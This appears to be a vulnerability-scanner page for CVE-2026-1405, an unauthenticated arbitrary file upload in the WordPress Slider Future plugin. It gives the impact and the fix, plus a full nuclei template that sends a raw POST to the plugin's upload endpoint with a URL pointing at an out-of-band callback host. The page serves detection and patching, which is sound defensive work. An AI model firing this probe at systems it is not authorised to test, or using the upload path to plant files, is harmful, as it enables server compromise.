WordPress Slider Future <= 1.0.5 - Unauthenticated Arbitrary File Upload

criticalseverity

9.8CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Slider Future WordPress plugin <= 1.0.5 contains an unrestricted file upload vulnerability caused by missing file type validation in 'slider_future_handle_image_upload', letting unauthenticated attackers upload arbitrary files, exploit requires no authentication.

Impact

Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.

Fix

Update to a version later than 1.0.5 or the latest available version.

How to confirm it

Send: POST /wp-json/slider-future/v1/upload-image/
Positive when: contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns") and status_code == 200 and contains(content_type,"application/json") and contains_all(body,"url","wp-content")

Run it with nuclei: nuclei -id CVE-2026-1405 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-1405

info:
  name: WordPress Slider Future <= 1.0.5 - Unauthenticated Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    Slider Future WordPress plugin <= 1.0.5 contains an unrestricted file upload vulnerability caused by missing file type validation in 'slider_future_handle_image_upload', letting unauthenticated attackers upload arbitrary files, exploit requires no authentication.
  remediation: |
    Update to a version later than 1.0.5 or the latest available version.
  impact:
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1405
    epss-score: 0.0347
    epss-percentile: 0.89174
    cwe-id: CWE-434
  tags: cve,cve2026,wordpress,wp-plugin,slider-future,file-upload,rce,oast,vkev

http:
  - raw:
      - |
        POST /wp-json/slider-future/v1/upload-image/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"image_url":"http://{{interactsh-url}}"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
          - 'contains(content_type,"application/json")'
          - 'contains_all(body,"url","wp-content")'
        condition: and

Use this check only on systems you are authorised to test. Where the data comes from